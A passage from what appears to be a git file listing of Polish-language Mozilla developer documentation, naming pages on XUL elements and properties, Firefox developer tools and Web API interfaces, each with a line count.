-rw-r--r--files/pl/mozilla/tech/xul/script/index.html126
-rw-r--r--files/pl/mozilla/tech/xul/scrollbar/index.html85
-rw-r--r--files/pl/mozilla/tech/xul/scrollbox/index.html105
-rw-r--r--files/pl/mozilla/tech/xul/scrollcorner/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/separator/index.html131
-rw-r--r--files/pl/mozilla/tech/xul/spacer/index.html103
-rw-r--r--files/pl/mozilla/tech/xul/splitter/index.html146
-rw-r--r--files/pl/mozilla/tech/xul/stack/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/statusbar/index.html120
-rw-r--r--files/pl/mozilla/tech/xul/statusbarpanel/index.html127
-rw-r--r--files/pl/mozilla/tech/xul/stringbundle/index.html177
-rw-r--r--files/pl/mozilla/tech/xul/stringbundleset/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/styl/alert-icon/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/error-icon/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/groove-thin/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/groove/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/header/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/indent/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/index.html32
-rw-r--r--files/pl/mozilla/tech/xul/styl/listcell-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/listitem-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/menuitem-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/menuitem-non-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/message-icon/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/monospace/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/plain/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/question-icon/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/small-margin/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/statusbarpanel-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/statusbarpanel-menu-iconic/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/text-link/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/thin/index.html11
-rw-r--r--files/pl/mozilla/tech/xul/styl/tree-splitter/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/styl/treecol-image/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/tab/index.html247
-rw-r--r--files/pl/mozilla/tech/xul/tabbox/index.html168
-rw-r--r--files/pl/mozilla/tech/xul/tabbrowser/index.html602
-rw-r--r--files/pl/mozilla/tech/xul/tabpanel/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/tabpanels/index.html155
-rw-r--r--files/pl/mozilla/tech/xul/tabs/index.html211
-rw-r--r--files/pl/mozilla/tech/xul/template/index.html115
-rw-r--r--files/pl/mozilla/tech/xul/textbox/index.html538
-rw-r--r--files/pl/mozilla/tech/xul/textbox_(firefox_-_automatyczne_uzupełnianie)/index.html866
-rw-r--r--files/pl/mozilla/tech/xul/textbox_(mozilla_-_automatyczne_uzupełnianie)/index.html936
-rw-r--r--files/pl/mozilla/tech/xul/textnode/index.html106
-rw-r--r--files/pl/mozilla/tech/xul/timepicker/index.html263
-rw-r--r--files/pl/mozilla/tech/xul/titlebar/index.html94
-rw-r--r--files/pl/mozilla/tech/xul/toolbar/index.html239
-rw-r--r--files/pl/mozilla/tech/xul/toolbarbutton/index.html474
-rw-r--r--files/pl/mozilla/tech/xul/toolbargrippy/index.html113
-rw-r--r--files/pl/mozilla/tech/xul/toolbaritem/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/toolbarpalette/index.html97
-rw-r--r--files/pl/mozilla/tech/xul/toolbarseparator/index.html115
-rw-r--r--files/pl/mozilla/tech/xul/toolbarset/index.html96
-rw-r--r--files/pl/mozilla/tech/xul/toolbarspacer/index.html113
-rw-r--r--files/pl/mozilla/tech/xul/toolbarspring/index.html113
-rw-r--r--files/pl/mozilla/tech/xul/toolbox/index.html186
-rw-r--r--files/pl/mozilla/tech/xul/tooltip/index.html230
-rw-r--r--files/pl/mozilla/tech/xul/tree/index.html372
-rw-r--r--files/pl/mozilla/tech/xul/treecell/index.html117
-rw-r--r--files/pl/mozilla/tech/xul/treechildren/index.html111
-rw-r--r--files/pl/mozilla/tech/xul/treecol/index.html249
-rw-r--r--files/pl/mozilla/tech/xul/treecols/index.html127
-rw-r--r--files/pl/mozilla/tech/xul/treeitem/index.html93
-rw-r--r--files/pl/mozilla/tech/xul/treerow/index.html114
-rw-r--r--files/pl/mozilla/tech/xul/treeseparator/index.html114
-rw-r--r--files/pl/mozilla/tech/xul/triple/index.html128
-rw-r--r--files/pl/mozilla/tech/xul/vbox/index.html101
-rw-r--r--files/pl/mozilla/tech/xul/window/index.html203
-rw-r--r--files/pl/mozilla/tech/xul/wizard/index.html367
-rw-r--r--files/pl/mozilla/tech/xul/wizardpage/index.html185
-rw-r--r--files/pl/mozilla/tech/xul/własność/accessible/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/accesskey/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/align/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/allowevents/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/alwaysopenpopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/amindicator/index.html13
-rw-r--r--files/pl/mozilla/tech/xul/własność/applocale/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/własność/autocheck/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/autofill/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/autofillaftermatch/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/browser.preferences/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/browsers/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/builderview/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/buttons/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/canadvance/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/cangoback/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/własność/cangoforward/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/canrewind/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/własność/checked/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/checkstate/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/child/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/children/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/classname/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/clickselectsall/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/collapsed/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/color/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/columns/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/command/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/commandmanager/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/completedefaultindex/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/contentdocument/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/contenttitle/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/contentvieweredit/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/contentviewerfile/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/contentwindow/index.html18
-rw-r--r--files/pl/mozilla/tech/xul/własność/contextmenu/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/control/index.html23
-rw-r--r--files/pl/mozilla/tech/xul/własność/controller/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/crop/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/current/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentindex/index.html44
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentitem/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentnotification/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentpage/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentpane/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/currentset/index.html28
-rw-r--r--files/pl/mozilla/tech/xul/własność/currenturi/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/customtoolbarcount/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/date/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/dateleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/datevalue/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/decimalplaces/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/deck.selectedpanel/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/defaultbutton/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/defaultvalue/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/description/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/dir/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/disableautocomplete/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/disableautoselect/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/disabled/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/disablekeynavigation/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/dlgtype/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/docshell/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/własność/documentcharsetinfo/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/editable/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/editingsession/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/editor/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/editortype/index.html19
-rw-r--r--files/pl/mozilla/tech/xul/własność/enablecolumndrag/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/firstordinalcolumn/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/firstpermanentchild/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/flex/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/focused/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/focuseditem/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/forcecomplete/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/group/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/handlectrlpageupdown/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/handlectrltab/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/height/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/hidden/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/hideseconds/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/homepage/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/hour/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/hourleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/id/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/ignoreblurwhilesearching/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/własność/image/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/increment/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/index.html219
-rw-r--r--files/pl/mozilla/tech/xul/własność/inputfield/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/inverted/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/is24hourclock/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/ispm/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/issearching/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/label/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/lastpermanentchild/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/lastselected/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/left/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/linkedpanel/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/locked/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/markupdocumentviewer/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/max/index.html13
-rw-r--r--files/pl/mozilla/tech/xul/własność/maxheight/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/maxlength/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/maxrows/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/maxwidth/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/menu/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/menuboxobject/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/menulist.inputfield/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/własność/menupopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/min/index.html13
-rw-r--r--files/pl/mozilla/tech/xul/własność/minheight/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/minresultsforpopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/minute/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/minuteleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/minwidth/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/mode/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/month/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/monthleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/name/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/next/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/nomatch/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/object/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/własność/observes/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/onfirstpage/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/onlastpage/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/open/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/ordinal/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/orient/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/pack/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/pagecount/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/pageid/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/pageincrement/index.html13
-rw-r--r--files/pl/mozilla/tech/xul/własność/pageindex/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/palette/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/persist/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/pmindicator/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/popup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/popupboxobject/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/popupopen/index.html14
-rw-r--r--files/pl/mozilla/tech/xul/własność/position/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/predicate/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/własność/preference.preferences/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/preferenceelements/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/preferencepanes/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/preferences/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/radiogroup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/readonly/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/ref/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/resource/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/resultspopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/scrollincrement/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/własność/searchcount/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/searchparam/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/searchsessions/index.html25
-rw-r--r--files/pl/mozilla/tech/xul/własność/second/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/secondleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/securityui/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/selected/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectedbrowser/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectedcount/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectedindex/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selecteditem/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selecteditems/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectedpanel/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectedtab/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectionend/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selectionstart/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/selstyle/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/seltype/index.html29
-rw-r--r--files/pl/mozilla/tech/xul/własność/sessioncount/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/sessionhistory/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/showcommentcolumn/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/showpopup/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/size/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/src/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/statusbar/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/statustext/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/stringbundle/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/strings/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/style/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/subject/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/własność/suppressonselect/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/tabcontainer/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/tabindex/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/tabs/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/tabscrolling/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/textbox.type/index.html24
-rw-r--r--files/pl/mozilla/tech/xul/własność/textlength/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/textvalue/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/timeout/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/timepicker.value/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/title/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/toolbarname/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/toolbarset/index.html22
-rw-r--r--files/pl/mozilla/tech/xul/własność/tooltip/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/tooltiptext/index.html24
-rw-r--r--files/pl/mozilla/tech/xul/własność/top/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/type/index.html27
-rw-r--r--files/pl/mozilla/tech/xul/własność/useraction/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/value/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/view/index.html15
-rw-r--r--files/pl/mozilla/tech/xul/własność/webbrowserfind/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/webnavigation/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/webprogress/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/width/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/wizardpages/index.html20
-rw-r--r--files/pl/mozilla/tech/xul/własność/wraparound/index.html16
-rw-r--r--files/pl/mozilla/tech/xul/własność/year/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/własność/yearleadingzero/index.html17
-rw-r--r--files/pl/mozilla/tech/xul/xul_school/index.html70
-rw-r--r--files/pl/mozmill/using_the_driver/index.html132
-rw-r--r--files/pl/narzędzia/about_colon_debugging/index.html207
-rw-r--r--files/pl/narzędzia/browser_toolbox/index.html40
-rw-r--r--files/pl/narzędzia/debugger/how_to/index.html11
-rw-r--r--files/pl/narzędzia/debugger/index.html81
-rw-r--r--files/pl/narzędzia/index.html211
-rw-r--r--files/pl/narzędzia/page_inspector/how_to/index.html13
-rw-r--r--files/pl/narzędzia/page_inspector/how_to/open_the_inspector/index.html15
-rw-r--r--files/pl/narzędzia/page_inspector/index.html58
-rw-r--r--files/pl/narzędzia/page_inspector/przewodnik_przez_ui/index.html108
-rw-r--r--files/pl/narzędzia/performance/flame_chart/index.html103
-rw-r--r--files/pl/narzędzia/performance/index.html97
-rw-r--r--files/pl/narzędzia/profiler/index.html95
-rw-r--r--files/pl/narzędzia/storage_inspector/index.html206
-rw-r--r--files/pl/narzędzia/tools_toolbox/index.html113
-rw-r--r--files/pl/narzędzia/view_source/index.html82
-rw-r--r--files/pl/narzędzia/walidatory/index.html45
-rw-r--r--files/pl/narzędzia/webide/index.html467
-rw-r--r--files/pl/narzędzia/webide/troubleshooting/index.html152
-rw-r--r--files/pl/narzędzia_autorskie_zgodne_ze_standardami/index.html38
-rw-r--r--files/pl/narzędzia_clone/index.html82
-rw-r--r--files/pl/necko/index.html45
-rw-r--r--files/pl/nieprawidłowy_typ_mime_plików_css/index.html38
-rw-r--r--files/pl/nsiconsoleservice/index.html54
-rw-r--r--files/pl/nsiinputstream/index.html41
-rw-r--r--files/pl/nsiprogramminglanguage/index.html37
-rw-r--r--files/pl/nsixulappinfo/index.html25
-rw-r--r--files/pl/o_modelu_obiektowym_dokumentu/index.html19
-rw-r--r--files/pl/paczki/index.html72
-rw-r--r--files/pl/pakowanie_motywów/index.html113
-rw-r--r--files/pl/pakowanie_rozszerzeń/index.html34
-rw-r--r--files/pl/podaj_dłoń_'kursorowi'/index.html42
-rw-r--r--files/pl/podstawy_web_services/index.html38
-rw-r--r--files/pl/poprawki_css_w_firefoksie_3/index.html45
-rw-r--r--files/pl/poprawki_dom_w_firefoksie_3/index.html40
-rw-r--r--files/pl/poprawki_svg_w_firefoksie_3/index.html64
-rw-r--r--files/pl/poprawki_xul_w_firefoksie_3/index.html97
-rw-r--r--files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/index.html137
-rw-r--r--files/pl/poprawne_zastosowanie_css_i_javascript_w_dokumentach_xhtml/przykłady/index.html416
-rw-r--r--files/pl/porady_odnośnie_tworzenia_szybko_ładujących_się_stron_html/index.html115
-rw-r--r--files/pl/prezentacje_xtech_2005/index.html43
-rw-r--r--files/pl/programowanie_mozilli/index.html16
-rw-r--r--files/pl/programowanie_www/index.html53
-rw-r--r--files/pl/przygotowanie_środowiska_programowania_rozszerzenia/index.html61
-rw-r--r--files/pl/pyxpcom/index.html61
-rw-r--r--files/pl/qa/index.html59
-rw-r--r--files/pl/qa/wskazowki_do_zglaszania_bledow/index.html241
-rw-r--r--files/pl/rdf/index.html54
-rw-r--r--files/pl/rhino/index.html13
-rw-r--r--files/pl/rozszerzenia/index.html20
-rw-r--r--files/pl/rysowanie_tekstu_przy_użyciu_canvas/index.html136
-rw-r--r--files/pl/sandbox/index.html70
-rw-r--r--files/pl/sax/index.html110
-rw-r--r--files/pl/spidermonkey/index.html46
-rw-r--r--files/pl/storage/index.html397
-rw-r--r--files/pl/storage/wydajność/index.html111
-rw-r--r--files/pl/toolkit_api/index.html32
-rw-r--r--files/pl/tutorial_lokalizacji_rozszerzeń_do_firefoksa_i_thunderbirda_dla_wersji_1.0_i_wyższych/index.html141
-rw-r--r--files/pl/tworzenie_mikropodsumowania/index.html214
-rw-r--r--files/pl/tworzenie_rozszerzenia_paska_stanu/index.html202
-rw-r--r--files/pl/tworzenie_wtyczek_mozsearch/index.html52
-rw-r--r--files/pl/tworzenie_wtyczek_opensearch_dla_firefoksa/index.html158
-rw-r--r--files/pl/tworzymy_rozszerzenie/index.html368
-rw-r--r--files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html299
-rw-r--r--files/pl/web/accessibility/aria/index.html127
-rw-r--r--files/pl/web/api/attr/index.html164
-rw-r--r--files/pl/web/api/audiobuffer/index.html174
-rw-r--r--files/pl/web/api/audiocontext/createdynamicscompressor/index.html142
-rw-r--r--files/pl/web/api/audiocontext/index.html293
-rw-r--r--files/pl/web/api/audioparam/index.html224
-rw-r--r--files/pl/web/api/audioparam/setvalueattime/index.html182
-rw-r--r--files/pl/web/api/cache/index.html121
-rw-r--r--files/pl/web/api/canvas_api/tutorial/basic_usage/index.html169
-rw-r--r--files/pl/web/api/canvas_api/tutorial/index.html60
-rw-r--r--files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html119
-rw-r--r--files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html571
-rw-r--r--files/pl/web/api/childnode/index.html190
-rw-r--r--files/pl/web/api/childnode/remove/index.html91
-rw-r--r--files/pl/web/api/console/index.html232
-rw-r--r--files/pl/web/api/console/log/index.html69
-rw-r--r--files/pl/web/api/cssnumericvalue/div/index.html59
-rw-r--r--files/pl/web/api/cssnumericvalue/index.html113
-rw-r--r--files/pl/web/api/cssrule/index.html97
-rw-r--r--files/pl/web/api/document/activeelement/index.html26
-rw-r--r--files/pl/web/api/document/alinkcolor/index.html24
-rw-r--r--files/pl/web/api/document/anchors/index.html38
-rw-r--r--files/pl/web/api/document/applets/index.html26
-rw-r--r--files/pl/web/api/document/bgcolor/index.html33
-rw-r--r--files/pl/web/api/document/body/index.html31
-rw-r--r--files/pl/web/api/document/characterset/index.html26
-rw-r--r--files/pl/web/api/document/clear/index.html19
-rw-r--r--files/pl/web/api/document/close/index.html26
-rw-r--r--files/pl/web/api/document/compatmode/index.html32
-rw-r--r--files/pl/web/api/document/cookie/index.html49
-rw-r--r--files/pl/web/api/document/createattribute/index.html29
-rw-r--r--files/pl/web/api/document/createdocumentfragment/index.html43
-rw-r--r--files/pl/web/api/document/createelement/index.html74
-rw-r--r--files/pl/web/api/document/createevent/index.html134
-rw-r--r--files/pl/web/api/document/createrange/index.html29
-rw-r--r--files/pl/web/api/document/createtextnode/index.html62
-rw-r--r--files/pl/web/api/document/defaultview/index.html24
-rw-r--r--files/pl/web/api/document/designmode/index.html53
-rw-r--r--files/pl/web/api/document/doctype/index.html21
-rw-r--r--files/pl/web/api/document/documentelement/index.html60
-rw-r--r--files/pl/web/api/document/domain/index.html30
-rw-r--r--files/pl/web/api/document/drag_event/index.html333
-rw-r--r--files/pl/web/api/document/embeds/index.html22
-rw-r--r--files/pl/web/api/document/execcommand/index.html280
-rw-r--r--files/pl/web/api/document/fgcolor/index.html28
-rw-r--r--files/pl/web/api/document/firstchild/index.html36
-rw-r--r--files/pl/web/api/document/forms/index.html45
-rw-r--r--files/pl/web/api/document/getelementbyid/index.html67
-rw-r--r--files/pl/web/api/document/getelementsbyclassname/index.html82
-rw-r--r--files/pl/web/api/document/getelementsbyname/index.html35
-rw-r--r--files/pl/web/api/document/getelementsbytagname/index.html108
-rw-r--r--files/pl/web/api/document/hasfocus/index.html25
-rw-r--r--files/pl/web/api/document/head/index.html110
-rw-r--r--files/pl/web/api/document/height/index.html34
-rw-r--r--files/pl/web/api/document/images/index.html31
-rw-r--r--files/pl/web/api/document/implementation/index.html21
-rw-r--r--files/pl/web/api/document/importnode/index.html57
-rw-r--r--files/pl/web/api/document/index.html332
-rw-r--r--files/pl/web/api/document/lastmodified/index.html25
-rw-r--r--files/pl/web/api/document/linkcolor/index.html33
-rw-r--r--files/pl/web/api/document/links/index.html30
-rw-r--r--files/pl/web/api/document/location/index.html37
-rw-r--r--files/pl/web/api/document/namespaceuri/index.html25
-rw-r--r--files/pl/web/api/document/open/index.html40
-rw-r--r--files/pl/web/api/document/plugins/index.html40
-rw-r--r--files/pl/web/api/document/queryselector/index.html159
-rw-r--r--files/pl/web/api/document/referrer/index.html22
-rw-r--r--files/pl/web/api/document/releasecapture/index.html31
-rw-r--r--files/pl/web/api/document/stylesheets/index.html19
-rw-r--r--files/pl/web/api/document/title/index.html45
-rw-r--r--files/pl/web/api/document/url/index.html25
-rw-r--r--files/pl/web/api/document/vlinkcolor/index.html29
-rw-r--r--files/pl/web/api/document/width/index.html28
-rw-r--r--files/pl/web/api/document/write/index.html38
-rw-r--r--files/pl/web/api/document/writeln/index.html41
-rw-r--r--files/pl/web/api/domapplicationsmanager/getall/index.html47
-rw-r--r--files/pl/web/api/domapplicationsmanager/index.html86
-rw-r--r--files/pl/web/api/element/addeventlistener/index.html109
-rw-r--r--files/pl/web/api/element/appendchild/index.html52
-rw-r--r--files/pl/web/api/element/attributes/index.html82
-rw-r--r--files/pl/web/api/element/blur/index.html21
-rw-r--r--files/pl/web/api/element/childnodes/index.html49
-rw-r--r--files/pl/web/api/element/classlist/index.html264
-rw-r--r--files/pl/web/api/element/classname/index.html37
-rw-r--r--files/pl/web/api/element/click/index.html23
-rw-r--r--files/pl/web/api/element/clientheight/index.html47
-rw-r--r--files/pl/web/api/element/clientnode/index.html32
